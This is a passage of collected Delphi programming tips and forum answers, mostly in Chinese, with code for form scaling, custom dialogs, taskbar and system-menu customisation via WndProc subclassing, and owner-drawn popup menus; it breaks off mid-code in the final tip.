USES typinfo; {Add this to your USES statement.}

var

i: integer;

begin

for i := componentCount - 1 downto 0 do

with components[i] do

begin

if GetPropInfo(ClassInfo, 'font') <> nil then

font.size := (NewFormWidth DIV OldFormWidth) * font.size;

end;

end;

下面的函数可以解决问题：

Form:需要调整的Form，OrgWidth：开发时屏幕的宽度，OrgHeight：开发时屏幕的高度。

注意：需要把Form的Scaled设置为True。

procedure AdjustForm(Form: TForm; const OrgWidth, OrgHeight: integer);

begin

with Form do

begin

Width := Width * Screen.Width div OrgWidth;

Height := Height * Screen.Height div OrgHeight;

ScaleBy(Screen.Width, OrgWidth);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

AdjustForm(Self,1280,1024);

end;


InputBox

function InputBox(const ACaption, APrompt: string;

var Value: string): Boolean;

var

Form: TForm;

Prompt: TLabel;

Edit: TEdit;

DialogUnits: TPoint;

ButtonTop, ButtonWidth, ButtonHeight: Integer;

begin

Result := False;

Form := TForm.Create(Application);

with Form do

try

Font.Handle:=GetStockObject(Default_Gui_font);

Canvas.Font := Font;

DialogUnits := GetAveCharSize(Canvas);

BorderStyle := bsDialog;

Caption := ACaption;

ClientWidth := MulDiv(180, DialogUnits.X, 4);

ClientHeight := MulDiv(63, DialogUnits.Y, 8);

Position := poScreenCenter;

Prompt := TLabel.Create(Form);

with Prompt do

begin

Parent := Form;

AutoSize := True;

Left := MulDiv(8, DialogUnits.X, 4);

Top := MulDiv(8, DialogUnits.Y, 8);

Caption := APrompt;

end;

Edit := TEdit.Create(Form);

with Edit do

begin

Parent := Form;

Left := Prompt.Left;

Top := MulDiv(19, DialogUnits.Y, 8);

Width := MulDiv(164, DialogUnits.X, 4);

MaxLength := 255;

Text := Value;

SelectAll;

end;

ButtonTop := MulDiv(41, DialogUnits.Y, 8);

ButtonWidth := MulDiv(50, DialogUnits.X, 4);

ButtonHeight := MulDiv(14, DialogUnits.Y, 8);

with TButton.Create(Form) do

begin

Parent := Form;

Caption := '确定(&Y)';

ModalResult := mrOk;

Default := True;

SetBounds(MulDiv(38, DialogUnits.X, 4), ButtonTop, ButtonWidth,

ButtonHeight);

end;

with TButton.Create(Form) do

begin

Parent := Form;

Caption := '取消(&C)';

ModalResult := mrCancel;

Cancel := True;

SetBounds(MulDiv(92, DialogUnits.X, 4), ButtonTop, ButtonWidth,

ButtonHeight);

end;

if ShowModal = mrOk then

begin

Value := Edit.Text;

Result := True;

end;

finally

Form.Free;

end;

end;


输入窗体的类名来创建窗体

show a TForm with its Classname?

{

M?chten Sie z.B einen Formular mit einer Prozedure initialisieren bzw.

anzeigen ohne Type-informationen oder classreferenzen übergeben zu müssen?

Dies geht sowohl im Programmcode als auch zur Laufzeit.

Dabei gilt z.B.: bei Formulare werden die von Delphi angelegten globalen

Variablen bzw. die automatische Erzeugung im Hauptprogramm überflüssig:

Die Anbindung der Units und die RegisterClasses(...) sind notwendig!!!

}

{

You may wish to initialise some descendant of a given class (runtime /

designtime) using a simple procedure but without passing Type

information of a specified class to it and thus stay flexible ?

You can deal with the global variable of your forms as you wish,

you'll never need them again...

You just need to bind your form units and to register your classes

(Delphi won't, if you delete the global vars).

}

uses

MyFormOne, MyFormTwo;

procedure ShowOneOfMyForm(FormClassName: string);

begin

with TFormClass(FindClass(FormClassName)).Create(Application) do

try

ShowModal;

finally

Free;

end;

end;

{ Geben Sie z.B. "TMyFormTwo" in dem TEdit und clicken Sie auf dem Knopf }

{ How to use it? Give "TMyFormTwo" in a TEdit and click the TButton...}

procedure TForm1.btShowMyFormClick(Sender: TObject);

begin

//at runtime

ShowOneOfMyForm(InputEdit.Text);

// or directly in your code

ShowOneOfMyForm('TMyFormOneF');

end;

initialization

RegisterClasses([TMyFormOneF, TMyFormTwoF]);

end.


程序运行不在任务出现一个按钮

在Main Form的OnShow中，添加如下代码即可：

ShowWindow(Application.Handle,SW_HIDE)

此后，必须处理最小化消息：

private

procedure WMSysCommand(var msg: TWMSysCommand); message WM_SysCommand;

{....}

implementation

procedure TMainForm.WMSysCommand(var msg: TWMSysCommand);

begin

if msg.CmdType and $FFF0 = SC_MINIMIZE then

hide

else

inherited;

end;


在非控制台程序里面使用控制台？

请参看下面的代码：

procedure TForm1.Button1Click(Sender: TObject);

var

s: string;

begin

AllocConsole;

try

Write('Type here your words and press ENTER: ');

Readln(s);

ShowMessage(Format('You typed: "%s"', [s]));

finally

FreeConsole;

end;

end;


获取窗体上面所有控件的Class？

find all classes registered by a form class?

{

Question: How can I get all classes that are currently registered in my Application?

Answer: There is no way to get at classes registered via RegisterClasses, since the

list holding these is private to the classes unit.You can get at the classes

registered on a Form, however, since those use a Table connected to the Form

classes class record.The following is based on some spelunking in the classes unit:

}

// defined in classes.pas

type

PFieldClassTable = ^TFieldClassTable;

TFieldClassTable = packed record

Count: Smallint;

Classes: array[0..8191] of ^TPersistentClass;

end;

function GetFieldClassTable(AClass: TClass): PFieldClassTable; assembler;

asm

MOV EAX,[EAX].vmtFieldTable

OR EAX,EAX

JE @@1

MOV EAX,[EAX+2].Integer

@@1:

end;

// end of quote from classes.pas

procedure TForm1.Button1Click(Sender: TObject);

procedure Display(const S: string);

begin

memo1.Lines.Add(S);

end;

var

pFCT: PFieldClassTable;

aClass: TClass;

i: SmallInt;

begin

memo1.Clear;

aClass := Classtype;

while aClass <> TPersistent do

begin

Display('Registered classes for class ' + aClass.ClassName);

pFCT := GetFieldClasstable(aClass);

if not Assigned(pFCT) then

Display(' No classes registered')

else

begin

Display(Format(' %d classes registered', [pFCT^.Count]));

for i := 0 to pFCT^.Count - 1 do

Display(' ' + pFCT^.Classes[i]^.ClassName);

end;

aClass := aClass.ClassParent;

end

end;


自己在Form中定义的属性如何能在Object Inspector中显示出来

为什么我在Form中发布的三个属性

myname

yourname

myColor

在Object Inspector中看不到呢？是Delphi的问题还是我程序写的不对?

回复人： wr960204(武稀松) ( ) 信誉：102 2002-9-25 19:32:57 得分:60

第一：

property youname:string read Fyourname;

只读的属性在属性面板上是看不到的

可以改成:

property youname:string read Fyourname write setyouname;

procedure TForm1.setyouname(value:string);

begin

//什么也不干

end;

第二：也是主要原因,窗体的发布有些特殊

需要把TForm1发到包中编译注册才行

Delphi5和6有些不同，6的有点麻烦，所以这里告诉你Delphi6的

新建一个注册的单元

内容如下

unit MY_Form_Reg;

interface

uses

你的窗体单元, DesignIntf, DesignEditors;

procedure Register;

implementation

procedure Register;

begin

RegisterCustomModule(你的窗体类名, TCustomModule);

end;

end.

新建一个包选中Require点击ADD。

添加Delphi目录下的bin目录中的designide.dcp文件。

然后编译安装。

最后在窗体上点击右键选“添加到仓库”添到一个仓库内比如“Form”

新建工程，选File｜New｜在你的仓库中选你添加的窗体。试试看


关于Delphi程序在任务栏按钮的菜单问题

关于Delphi程序在任务栏按钮的菜单问题

我们知道，Delphi编写的程序，在任务栏的按钮上面的菜单，只有几项：

而一般的Windows的程序，菜单上面有更多的项目：

虽然使用的时候没有什么关系，但始终是不舒服！那么能不能把Delphi编写的程序的菜单也改成和其他程序一样呢？当然可以！

方法如下：

首先，重载主窗体的CreateParams，修改如下：

procedure TFrmModal.CreateParams(var Para: TCreateParams);

begin

inherited;

if Application.MainForm <> nil then Para.WndParent := GetActiveWindow;

end;

然后在主窗体的OnCreate中添加如下代码：

with Application do

SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW);

OK，按F9运行你的程序看看？:-)。

注意，一定要对主窗体进行上面的操作哦。

BUG:

感谢 stanely 发现这个BUG：最小化只是最小化application这个窗体，应用程序主窗体没反应阿！

解决方法，拦截WM_SYSCOMMAND消息：

procedure TFrmMain.WMSysCommand(var msg: TMessage);

begin

if msg.WParam = SC_MINIMIZE then

Self.WindowState := wsMinimized

else

inherited;

end;

这样还有一个额外的好处，就是Windows在平铺和排列窗口的时候，不会出现空白的情况了，很正常的。

SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_APPWINDOW);


一个好用的模态窗体模板

附件>>> ModalForm


自定义菜单外观

首先将菜单的ownerdraw属性设置为true;然后在菜单项的drawitem中写入代码即可。

procedure TForm1.New1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

acanvas.Font.Color:=clred;

if selected then

SetBkColor(acanvas.handle,clgreen)

else

setBkcolor(acanvas.handle,clblue);

acanvas.TextRect(arect,0,0,new1.caption);

end;


修改任务栏的菜单

有一个消息，值为787（$0313），截获它，任务按钮上的菜单就弹不出来。这个消息没有找到任何定义和介绍。

鼠标消息还是没有发现，估计得用钩子勾住鼠标。

Application本身也是一个窗口（就是哪个按钮呀）。如下就不一样了。

InsertMenu(GetSystemMenu(Application.Handle, False), 0, MF_BYPOSITION + MF_STRING, 0, 'test');

在TApplication.CreateHandle中有如下代码：

SysMenu := GetSystemMenu(FHandle, False);

DeleteMenu(SysMenu, SC_MAXIMIZE, MF_BYCOMMAND);

DeleteMenu(SysMenu, SC_SIZE, MF_BYCOMMAND);

if NewStyleControls then DeleteMenu(SysMenu, SC_MOVE, MF_BYCOMMAND);

去掉就可以了

选择菜单Project->Options。在Packages页中关闭Build with runtime packages 选项（即不选中）； 并在Dicectorise/Conditionals页中Search path中添加一项[$DELPHI]。

将DelphiX目录下的Forms.dcu改名为OriginForms.dcu。

打开DelphiX目录下的Forms.pas屏蔽掉TApplication.CreateHandle中如下代码：

SysMenu := GetSystemMenu(FHandle, False);

DeleteMenu(SysMenu, SC_MAXIMIZE, MF_BYCOMMAND);

DeleteMenu(SysMenu, SC_SIZE, MF_BYCOMMAND);

if NewStyleControls then DeleteMenu(SysMenu, SC_MOVE, MF_BYCOMMAND);

选择菜单Project->Build 你的工程即可（请先保存工程，因为有时Build后会兰屏，主要是因为装了一些构件。重运行Delphi即可）。

最后，选择菜单Project->Options。去掉刚才在Dicectorise/Conditionals页中Search path中添加的[$DELPHI]这一项。

将DelphiX目录下的Forms.dcu 复制到DelphiX目录。再删除DelphiX目录下其它无用了的*.dcu文件。

在Application中的WndProc中没有对这3个消息（SC_SIZE、SC_MOVE、SI_MAXIMIZE）的处理。而且，Application也只有Minimize和Restore这两个功能函数。我想这是由于Delphi的普通应用的风格决定的。一般其它窗口不包含在主窗口之中（即使是MDI程序，非子窗口也是这样），因此，对于应用的最大、移动的操作在逻辑上存在矛盾，所以Borland将这3个应用上的菜单项删除了。

***************************************

下面是添加：

const

SC_MyMenuItem = WM_USER + 1;

procedure TForm1.FormCreate(Sender: TObject);

begin

// Assign the application's OnMessage event to my own

// procedure so I can check for the hidden window's WM_SYSCOMMAND

// message.

Application.OnMessage := OnAppMessage;

AppendMenu(GetSystemMenu(Application.Handle, FALSE), MF_SEPARATOR, 0, '');

AppendMenu(GetSystemMenu(Application.Handle, FALSE),

MF_STRING,

SC_MyMenuItem,

'My Menu Item');

end;

procedure TForm1.OnAppMessage(var Msg: TMsg; var Handled: Boolean);

begin

// Check to see if the message is a system command

// and the message's wParam is SC_MyMenuItem

if (Msg.message = WM_SYSCOMMAND) and (Msg.wParam = SC_MyMenuItem) then

begin

ShowMessage('Got the message');

Handled := True;

end;

end;


关于任务栏菜单

关于任务栏的菜单

{ 下面的属于Kingron原创，转载请注明出处，并保留版权信息 }

{ 本文未经许可，严禁转载 }

看了N个关于任务栏菜单的贴子，例如，有一个网友问如何做出和Winamp3.0的任务栏类似的菜单，也有的网友问如何拦截任务栏菜单的弹出消息，实际上，这个问题很简单的。下面是Kingron的研究结果！

我们都知道，在Delphi Application中，有一个隐含的Window，就是TApplication，这是一个隐藏的窗口，他在后面默默处理这一切关于Application相关的东西，我们甚至可以使用ShowWindow(Application.Handle,SW_SHOW)来看到这个窗口！这些虽然是题外话，但是，我们下面要做的却和这个窗口相关，因此你如果要继续的话，最好先补习一下子类化、TApplication、WndProc、Windows的消息机制等等相关的知识。我们知道对于一个Form，可以很容易拦截System Menu的消息，例如我们只要拦截WM_SYSCOMMAND就可以得到窗口系统菜单的消息，那么要拦截菜单的弹出消息，我们只要拦截WM_INITMENU即可！我们可以做一个简单的实验，New一个Application，然后在主窗体里面添加类似代码：

private

{ Private declarations }

procedure wmtest(var msg:TMessage);message wm_initmenu;

..........

procedure TForm1.wmtest(var msg: TMessage);

begin

Caption:='InitMenu';

end;

然后运行程序，点击Sys Menu，你就会看到效果！到这里，我们已经发现，只要拦截WM_INITMENU消息，就可以知道系统菜单的弹出了！现在问题是，不过我怎么写代码，可是任务栏菜单的弹出对于WM_INITMENU的拦截没有任何反应！难道我们那里错了吗？难道还有其它的东西隐藏在后面？问题的关键在于我们拦截的窗口不对！对于任务栏的菜单而言，这个菜单就是Application窗口的System Menu！因此我们的关键在于要拦截Application窗口的WM_INITMENU消息！至此，我们已经前进了一大步！知道了这一点，就比较好办了，我们知道，Delphi中有一个TApplicationEvents控件，他有一个属性，就是OnMessage，因此我们只要把Application的消息都经过OnMessage处理不就可以了？看起来似乎是一个完美的方法，然而，但你在OnMessage添加类似的代码的时候，你会发现，根本没有任何作用：

procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;

var Handled: Boolean);

begin

if Msg.message = wm_initmenu then

Caption:='OK';

end;

那个地方出现了错误？没有，哪里都没有，问题是，Delphi在封装的时候，过滤掉了一些东西，Application的OnMessage并不能处理程序的每一个消息，有些东西被他丢掉了！看来此路不通，必须另外找一个方法！然而幸运的是，我们都知道，在Windows的每一个窗口中，都有一个WndProc过程，这个过程负责处理“所有”的消息，因此我们只要Hook这个WndProc即可，也就是说我们只要把TApplication窗口的WndProc过程让我们接管，我们处理之后，然后仍然交给原来的WndProc处理即可，这样就可以达到我们的目的！那么如何来Hook这个Application窗口的WndProc过程呢？很简单，只要两个函数和几句简单的代码就可以了。必须用到的函数是GetWindowLong、SetWindowLong、CallWindowProc，首先我们用GetWindowLong获取原来的WndPro过程：

OldWndProc := TFarProc(GetWindowLong(Application.Handle, GWL_WNDPROC));

其中OldWndProc就是用来保存原来的WndProc过程的，因为我们还需要他！

然后利用SetWindowLong来挂接我们的WndProc过程：

SetWindowLong(Application.Handle, GWL_WNDPROC,longint(@NewWndProc));

此处的NewWndProc就是我们自己的WndProc处理过程！类似下面：

function NewWndProc(hWndAppl: HWnd; Msg, wParam: Word; lParam: Longint): Longint; stdcall;

begin

NewWndProc := 0; { Default WndProc return value }

{ * * * Handle messages here; The message number is in Msg * * * }

case msg of

WM_INITMENU:MessageBox(0,'OK','Info',MB_OK+MB_ICONINFORMATION);

end;

NewWndProc := CallWindowProc(OldWndProc, hWndAppl, Msg, wParam, lParam);

end;

至此，问题已经解决了，如果想简单一点儿的话，我们可以做一个简单的控件即可。

unit TaskMenu;

{*************************************************************}

{* *}

{* TaskMenu Control,Copyright Kingron 2002 *}

{* All rights reserverd. *}

{* Bug Report : Kingron@163.net *}

{* WEB : http://kingron.myetang.com *}

{* Special Thank:ChongChong(http://www.lkgarden.com/lfpsoft) *)

{* *}

{*************************************************************}

interface

uses

Windows, Messages, SysUtils, Classes, Menus, Forms, Controls;

type

TTaskMenu = class(TPopupMenu)

private

{ Private declarations }

protected

{ Protected declarations }

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

{ Published declarations }

end;

procedure Register;

implementation

const

CM_POPUP_MENU = WM_USER + $500;

CM_APP_MENU = $0313;

var

OldWndProc : Pointer;

SysMenu : TPopupMenu;

procedure Register;

begin

RegisterComponents('Samples', [TTaskMenu]);

end;

{ TTaskMenu }

function NewWndProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;

begin

Result := 0;

case Msg of

{ Not use SendMessage }

CM_APP_MENU: PostMessage(HWND, CM_POPUP_MENU, 0, 0);

CM_POPUP_MENU: SysMenu.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y);

else

Result := CallWindowProc(OldWndProc, hWnd, Msg, wParam, lParam);

end;

end;

constructor TTaskMenu.Create(AOwner: TComponent);

begin

inherited;

SysMenu := Self;

OldWndProc := Pointer(GetWindowLong(Application.Handle, GWL_WNDPROC));

if not (csDesigning in ComponentState) then

SetWindowLong(Application.Handle, GWL_WNDPROC, longint(@NewWndProc));

end;

destructor TTaskMenu.Destroy;

begin

SetWindowLong(Application.Handle, GWL_WNDPROC, longint(OldWndProc));

inherited;

end;

end.

大家注意，上面有一个全局变量，这个是不符合OO要求的，但是我们使用SetWindowLoing中的第三个参数，又不能是Object的方法，那么怎么办呢？可以利用指针来做：

在TTaskMenu中，设立一个Pointer:MyProc;

然后修改Create代码：

OldWndProc := Pointer(GetWindowLong(Application.Handle, GWL_WNDPROC));

MyProc:=Classes.MakeObjectInstance(Hooked);

SetWindowLong(Application.Handle, GWL_WNDPROC, longint(MyProc))

而Hooked就是一个Wndproc过程，这样，就可以实现OO的思想了。

最后，别忘记在需要的时候，使用FreeObjectInstance(MyProc)释放掉资源。

最后修改如下：

unit TaskMenu;

{*************************************************************}

{* *}

{* TaskMenu Control,Copyright Kingron 2002 *}

{* All rights reserverd. *}

{* Bug Report : Kingron@163.net *}

{* WEB : http://kingron.myetang.com *}

{* Special Thank:ChongChong(http://www.lkgarden.com/lfpsoft) *)

{* *}

{*************************************************************}

interface

uses

Windows, Messages, SysUtils, Classes, Menus, Forms, Controls;

type

TTaskMenu = class(TPopupMenu)

private

{ Private declarations }

OldWndProc: Pointer;

NewWndProc: Pointer;

protected

{ Protected declarations }

procedure HookWin;

procedure UnHookWin;

procedure Hooked(var Msg: TMessage);

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

{ Published declarations }

end;

procedure Register;

implementation

const

CM_POPUP_MENU = WM_USER + $500;

CM_APP_MENU = $0313;

procedure Register;

begin

RegisterComponents('Samples', [TTaskMenu]);

end;

{ TTaskMenu }

procedure TTaskMenu.Hooked(var Msg: TMessage);

begin

case Msg.Msg of

CM_APP_MENU: PostMessage(Application.Handle, CM_POPUP_MENU, 0, 0);

CM_POPUP_MENU: Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y);

else

Msg.Result := CallWindowProc(OldWndProc, Application.Handle, Msg.Msg, Msg.wParam, Msg.lParam);

end;

end;

constructor TTaskMenu.Create(AOwner: TComponent);

begin

inherited;

HookWin;

end;

destructor TTaskMenu.Destroy;

begin

UnHookWin;

inherited;

end;

procedure TTaskMenu.HookWin;

begin

OldWndProc := Pointer(GetWindowLong(Application.Handle, GWL_WNDPROC));

NewWndProc := Classes.MakeObjectInstance(Hooked);

if not (csDesigning in ComponentState) then

SetWindowLong(Application.Handle, GWL_WNDPROC, longint(NewWndProc));

end;

procedure TTaskMenu.UnHookWin;

begin

SetWindowLong(Application.Handle, GWL_WNDPROC, longint(OldWndProc));

if Assigned(NewWndProc) then Classes.FreeObjectInstance(NewWndProc);

NewWndProc := nil;

end;

end.


把Help菜单移动到Form的最右边

把Help菜单移动到Form的最右边。

唐春晖

在设计程序时，我们通常是将Help菜单放到菜单的最后一项，

在这里有一个方法，可以将菜单放到整个Form的最右边，以突出

菜单的显示,在Delphi 1.0时，我们可以这么做

MenuItem1.Caption :=#8 + MenuItem1.Caption;

在Delphi 2.0里，我们可以这么做

ModifyMenu(MainMenu1.Handle, 1, mf_ByPosition or mf_Popup or mf_Help,

MenuItem1.Handle, '&Help';

试试吧，很好玩的

在MainForm的OnCreate事件中加入:

ModifyMenu(MainMenu.Handle, 2, mf_ByPosition or mf_Popup or mf_help,

H1.Handle, '帮助(&H)'); //使帮助菜单项移到窗口的右上角

//MainMenu:菜单控件名

//H1:菜单项[帮助]名

//2:帮助在第3项，这里就设为3-1


菜单的选择

菜单的选择

我希望在菜单项被选择的时候，做一些操作，该怎么做？

有几个方法：

一个是利用OwnerDraw，在DrawItem中，有一个状态：Selected可以描述菜单项是否被选中：

procedure TForm1.Exit1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

if Selected then MessageBeep(MB_OK);

end;

另外可以利用消息：WM_MENUSELECT，


关于自画菜单的问题

首先将菜单的ownerdraw属性设置为true;然后在菜单项的drawitem中写入代码即可。

procedure TForm1.New1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

acanvas.Font.Color:=clred;

if selected then

SetBkColor(acanvas.handle,clgreen)

else

setBkcolor(acanvas.handle,clblue);

acanvas.TextRect(arect,0,0,new1.caption);

end;

你是否发现了，当对菜单上一个按键的菜单项的drawitem写下如上代码后，其它的按键不写，是可以的，但只能写了的按键会变色。当对所有的按键都写的话，就只有一个按键是正常的，其它按键的caption都不见了，就是说是些没有字显示的空键，虽然能也变色，但上面不显示菜单项的文字！！真是怪了，昨晚发现的。

你早上 不在吧？下午我再发上来，希望你在。

  回复人：Kingron(ＷｉｎＡＰＩ)　(2001-3-14 15:45:00) 得0分

上午来了一下，匆匆地走了。

呵呵，我一般只测试第一个，既然你提出了这个问题，应该不难解决！

你的问题是因为坐标计算有误：

acanvas.TextRect(arect,0,0,new1.caption);

修改如下：

acanvas.TextRect(arect,arect.Left,arect.Top,(sender as tmenuitem).Caption);

还有一点要提醒你的是，必须自己处理好Caption中快捷方式字母的显示问题，这个你自己应该可以搞定，我就不多说了。

************

先 PopupMenu1.OwnerDraw := True; 用 OnMeasureItem 事件设置好菜单项 n1 的大小后，再用 n1 的 OnDrawItem 事件中添入 ACanvas.Draw(1, 1, Image1.Picture.Graphic);

再将 n2.Break := mbBreak;

n3.Caption := '-';

为什么运行后菜单中图片被水平分割条“-”无情地穿透了？？

还有：在 FormCreate 中添加一句 Screen.MenuFont.Color := clRed; 对于 PopupMenu1 没有任何反应，而添加一句 Screen.MenuFont.Style := [fsBold]; 却有效果？？

一看就知道你想编个左边带有图像条的菜单，就和“开始”菜单中的一样，不是吗？

原因是这样的：在画完N1后，即画完了你指定的图像后，才开始画其它的菜单，包括菜单的分隔线，所以会出现这样的情况。建议你将画图像的那一句放在N3的OnDrawItem事件中，这样就保证此图像是最后画的，而不会被覆盖。

至于第二个问题，相信你是没有查看过Screen对象的源代码，因为在其Paint方法中又重新设置了字体的颜色，所以无论你设置为什么颜色也不会有效果的。建议你创建一个Screen的派生类，只重写其Paint事件即可。当然，最好的方法还是在OnDrawItem事件中改变颜色。


象IE收藏夹一样在菜单上弹出菜单

下面是o*o以前关于该问题所做的回答，如果还有不明白的地方，请参照下面两个贴子：

http://www.gislab.ecnu.edu.cn/delphibbs/DispQ.asp?LID=206834

http://www.delphibbs.com/delphibbs/DispQ.asp?LID=209455

**********************************************************

D5的作法与D4完全不同，简单多了。PopupList是全局变量呀。

先将Menus.pas的TrackPopupMenu那句改了，去掉Buttons[FTrackButton]

在FORM上加一PopupMenu1,随便填几个MenuItem。

private

DefMenuProc: TFarProc;

procedure MenuWndProc(var msg: Tmessage);

{ Private declarations }

procedure TForm1.FormCreate(Sender: TObject);

begin

DefMenuProc:=Pointer(GetWindowLong(PopupList.Window,GWL_WNDPROC));

SetWindowLong(PopupList.Window,GWL_WNDPROC,LongInt(MakeObjectInstance(MenuWndProc)));

end;

var Item:Integer;

procedure TForm1.MenuWndProc(var msg:Tmessage);

var pop:HMENU; p:TPoint; s:array[0..255]of Char;

begin

case msg.Msg of

WM_MENURBUTTONUP: begin

GetCursorPos(p);

pop:=CreatePopupMenu;

GetMenuString(PopupMenu1.Handle,Item,s,255,MF_BYCOMMAND);

AppendMenu(pop,0,100,PChar('Popup From '+String(s)));

TrackPopupMenu(pop,1,p.x,p.y,0,PopupList.Window,nil);

DestroyMenu(pop);

end;

WM_MENUSELECT: Item:=LOWORD(msg.wParam);

WM_COMMAND: if LOWORD(msg.wParam)=100 then MessageBox(Handle,'','OK!',0);

end;

with msg do Result:=CallWindowProc(DefMenuProc,PopupList.Window,Msg,WParam,LParam);

end;

cAkk,让你久等了，我平常休息日是不上网的。呵呵。

1 弹出TPopupMenu还要将Menus.pas中TrackPopupMenu里的AFlags加上 or TPM_RECURSE

意思是当一个菜单正在Track时，还能够Track另一个菜单。

Borland的老师们在封装API时显然忽视了这一点。

2 MakeObjectInstance是将一个procedure(var msg: TMessage) of object方法安全地转换为指针。

@MyWndProc是什么意思？不太明白。

3 据我观察，TPopupMenu的CommandID都是从很小的值如1开始累加的，设得大一些应无问题。

当然用1中说的弹出一个经过VCL封装的PopupMenu就没问题了。

再次真情呼唤大侠们找到制作WIN98开始菜单的方法，因为它支持ContextMenu，DragDrop，Hint。

而这种普通菜单的办法实在土蹩。

想简单, 找个第三方控件.

想自己做: 截取PopupList.Window指向HWND的wndproc. 在那里可以接受

鼠标消息. PopupList是个全局变量(D5, uses Menus后)

eyes: 如果用popuplist,我应该在哪个事件里setwindowlong,

在哪个事件里恢复OldWndPorc ?

--------------------------------------------------------------------------------

来自：cAkk 时间：00-3-31 15:10:55 ID:209165

现在好像wndproc设置成功了,但是为什么截获wm_RButtonUp不行?

应该截获哪个消息?

来自：cAkk 时间：00-3-31 15:56:22 ID:209182

好像popuplist.window根本不接受鼠标消息???

------------------------------------

来自：o*o 时间：00-3-31 16:18:43 ID:209194

cAkk,你怎么在自言自语呀？:-)

popuplist.window当然能接受鼠标消息。WM_RBUTTONDOWN可以。

最好是用WM_MENURBUTTONUP，这个消息连MSDN上也没有介绍。

-----------------------------------

来自：cAkk 时间：00-3-31 16:21:26 ID:209196

o*o: 麻烦你写出完整代码出来,我的总是不行,多谢!

BTW: WM_MENURBUTTONUP 在message.pas里面就有

哦，忘了告诉你，要将menus.pas中的这句

TrackPopupMenu(FItems.Handle,

Flags[UseRightToLeftAlignment, FAlignment] or Buttons[FTrackButton],

改为下面的才有效。

TrackPopupMenu(FItems.Handle,

Flags[UseRightToLeftAlignment, FAlignment],//or Buttons[FTrackButton],

你再试试。这是DELPHI擅作主张的地方

怎么不行？

改过TrackPopupMenu一句后，在TPopupList.WndProc下面加上

WM_MENURBUTTONUP:

messagebox(0,'右键消息','',1);

我就改了这两个地方呀。

我用的是D4。你是不是要把LIB中的Menus.dcu替换掉。

cAkk兄，抱歉，刚才出去喝酒去了，5瓶呀，晕得糊的。

D4中TPopupList不是全局变量，也用不着SetWindowLong。

还是讨论一下WIN98的开始菜单吧，它是在窗口上放一CoolBar,

再放一PageControl,再放一ToolBar,那些MenuItem其实就是

一个个ToolButton。

WIN98SE又加了一个DesktopMenu，也是这样。

这种用ToolBar作的“多功能菜单”(区别与普通菜单)表明了

菜单发展的新趋向。而普通菜单加右键过时了吧。

这种菜单自己作起来比较麻烦，我一直试图找到一个API或COM接口，未遂。


win98开始风格菜单

1.新建一个PopupMenu1.设置OwnerDraw:=True;

2.添加一个菜单项m1.设置m1.Caption:='';

m1.Enabled:=False;

3.添加一些你需要的菜单项m2,m3,m4,…….

其中设置m2.Break:=mbBreak;

4.在m1的DrawItem中:

procedure TForm1.m1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

var

i:word;

dy,y:real;

lf:TLogFont;

tf:TFont;

begin

//画渐进色背景

dy:=(ARect.Bottom - ARect.Top)/256;

y:=0;

for i:=255 downto 0 do

begin

Acanvas.brush.color:=RGB(255-i,255-i,255);

Acanvas.fillrect(rect(0,round(y),ARect.Right - ARect.Left,round(y+dy)));

y:=y+dy;

end;

//写字

With ACanvas do

Begin

Brush.Style:=bsClear;

Font.Name:='宋体';

Font.Size:=12;

Font.Color:=clred;

tf:=TFont.Create;

tf.Assign(Font);

GetObject(tf.Handle,sizeof(lf),@lf);

lf.lfEscapement:=900;

tf.Handle:=CreateFontIndirect(lf);

Font.Assign(tf);

tf.Free;

TextOut(ARect.Left +2,ARect.Bottom -2,'弹出菜单');

End;

end;

5.在m1的MeasureItem中：

procedure TForm1.m1MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

/////////

Width:= 10;

Height:= (PopupMenu1.Items.Count - 1) * 19;

end;

***********************************************

1、设置TPopupMenu的OwnerDraw为True；

2、设置TPopupMenu的Images

3、设置TMenuItem的OnMeasureItem和OnDrawItem分别指向两个例程。

这是以前我写的程序的一段代码，与大家分享(如果有什么问题，请呼我OICQ:6113690，或者写信给我，我可以写一个完整的例子):

procedure TfrmMain.pmTrayPopup(Sender: TObject);

begin

pmTray.Tag := 1; //对于左边的位图保证只绘制一次

end;

procedure TfrmMain.MenuMeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

if (Sender as TMenuItem).IsLine then

Height := 4 //分隔条

else

Height := Canvas.TextHeight('高') + 6;

//const BMWidth = 位图宽度

Inc(Width, BMWidth + 7); //为左边的位图保留一些空间

end;

procedure TfrmMain.MenuDrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

var ABitmap: TBitmap;

Item: TMenuItem;

Rc: TRect;

nLeft, nTop: Integer;

Ico: HICON;

begin

Item := Sender as TMenuItem;

ABitmap := TBitmap.Create;

try

//对于左边的位图保证只绘制一次

if (pmTray.Tag = 1) and (Item.MenuIndex = 0) then

begin

pmTray.Tag := 0;

ABitmap.LoadFromResourceID(hInstance, PostMan); //左边图形的ResourceID

CopyRect(Rc, ACanvas.ClipRect);

Rc.Left := BMWidth + 2;

CopyRect(Rc, ACanvas.ClipRect);

Rc.Right := Rc.Left + BMWidth + 2;

//用图形左下的颜色填充矩形

ACanvas.Brush.Color := ABitmap.Canvas.Pixels[0, ABitmap.Height - 1];

ACanvas.FillRect(Rc);

//绘制一个凹下的矩形框

Frame3D(ACanvas, Rc, clBtnShadow, clBtnHighlight, 1);

ACanvas.Draw(Rc.Left, Rc.Top, ABitmap);

//绘制Application图标

Ico := LoadImage(hInstance, PChar(szMainIcon), IMAGE_ICON, 16, 16,

